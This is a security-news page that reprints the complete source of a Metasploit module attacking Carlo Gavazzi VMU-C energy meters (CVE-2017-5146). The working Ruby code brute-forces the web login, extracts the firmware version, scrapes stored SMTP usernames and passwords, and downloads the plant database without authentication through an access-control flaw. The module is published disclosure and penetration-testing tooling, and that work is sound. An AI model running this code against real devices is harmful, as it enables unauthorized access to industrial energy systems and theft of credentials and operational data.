Security
Headlines
HeadlinesLatestCVEs

Headline

Carlo Gavazzi Energy Meters Login Brute Force, Extract Info And Dump Plant Database

This Metasploit module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17.

Packet Storm
#sql#vulnerability#web#git#php#auth#ssl

Carlo Gavazzi Energy Meters Login Brute Force, Extract Info And Dump Plant Database

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Report  include Msf::Auxiliary::AuthBrute  include Msf::Auxiliary::Scanner  def initialize(info={})    super(update_info(info,      'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database',      'Description' => %{        This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17.      },      'References' =>        [          ['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-012-03'],          ['CVE', '2017-5146']        ],      'Author' =>         [           'Karn Ganeshen <KarnGaneshen[at]gmail.com>'         ],      'License' => MSF_LICENSE,      'DefaultOptions' =>         {           'SSL' => false,           'VERBOSE' => true         }))    register_options(      [        Opt::RPORT(80),  # Application may run on a different port too. Change port accordingly.        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'admin'])      ], self.class    )  end  def run_host(ip)    unless is_app_carlogavazzi?      return    end    each_user_pass do |user, pass|      do_login(user, pass)    end    ewplantdb  end  #  # What's the point of running this module if the target actually isn't Carlo Gavazzi box  #  def is_app_carlogavazzi?    begin      res = send_request_cgi(        {          'uri'       => '/',          'method'    => 'GET'        }      )    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError      vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")      return false    end    good_response = (      res &&      res.code == 200 &&      res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC')    )    if good_response      vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...")      return true    else      vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.")      return false    end  end  def report_cred(opts)    service_data = {      address: opts[:ip],      port: opts[:port],      service_name: opts[:service_name],      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      origin_type: :service,      module_fullname: fullname,      username: opts[:user],      private_data: opts[:password],      private_type: :password    }.merge(service_data)    login_data = {      last_attempted_at: Time.now,      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::SUCCESSFUL,      proof: opts[:proof]    }.merge(service_data)    create_credential_login(login_data)  end  #  # Brute-force the login page  #  def do_login(user, pass)    vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")    # Set Cookie - Box is vuln to Session Fixation. Generating a random cookie for use.    randomvalue = Rex::Text.rand_text_alphanumeric(26)    cookie_value = 'PHPSESSID=' + "#{randomvalue}"    begin      res = send_request_cgi(        {          'uri'       => '/login.php',          'method'    => 'POST',          'headers'   => {            'Cookie' => cookie_value          },          'vars_post' =>            {              'username' => user,              'password' => pass,              'Entra' => 'Sign+In' # Also - 'Entra' => 'Entra' # Seen to vary in some models            }        }      )    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE      vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")      return :abort    end    good_response = (      res &&      res.code == 200 &&      res.body.include?('Login in progress') || res.body.include?('Login in corso') &&      res.body.match(/id="error" value="2"/) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php')    )    if good_response      print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")      # Extract firmware version      begin        res = send_request_cgi(          {            'uri' => '/setupfirmware.php',            'method' => 'GET',            'headers' => {              'Cookie' => cookie_value            }          }        )      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE        vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")        return :abort      end      if res && res.code == 200        if res.body.include?('Firmware Version') || res.body.include?('Versione Firmware')          fw_ver = res.body.match(/Ver. (.*)[$<]/)[1]          if !fw_ver.nil?            print_good("#{rhost}:#{rport} - Firmware version #{fw_ver}...")            report_cred(              ip: rhost,              port: rport,              service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver}]",              user: user,              password: pass            )          end        end      end      #      # Extract SMTP config      #      begin        res = send_request_cgi(          {            'uri'       => '/setupmail.php',            'method'    => 'GET',            'headers'   => {              'Cookie' => cookie_value            }          }        )      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE        vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")        return :abort      end      if (res && res.code == 200 && res.body.include?('SMTP'))        dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1]        dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1]        dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1]        if (!dirty_smtp_server.nil?) && (!dirty_smtp_user.nil?) && (!dirty_smtp_pass.nil?)          smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/)          smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/)          smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/)          if (!smtp_server.nil?) && (!smtp_user.nil?) && (!smtp_pass.nil?)            print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}")          end        end      else        vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges")      end      return :next_user    else      print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")    end  end  #  # Dump EWplant.db database file - No authentication required  #  def ewplantdb    begin      res = send_request_cgi(        {          'uri' => '/cfg/EWplant.db',          'method' => 'GET'        }      )    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE      vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")      return :abort    end    if res && res.code == 200      print_status("#{rhost}:#{rport} - dumping EWplant.db")      print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!")      loot_name = 'EWplant.db'      loot_type = 'SQLite_db/text'      loot_desc = 'Carlo Gavazzi EM - EWplant.db'      path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body , loot_desc)      print_good("#{rhost}:#{rport} - File saved in: #{path}")    else      vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?")      return    end  endend

Packet Storm: Latest News

ABB Cylon Aspect 3.07.02 user.properties Default Credentials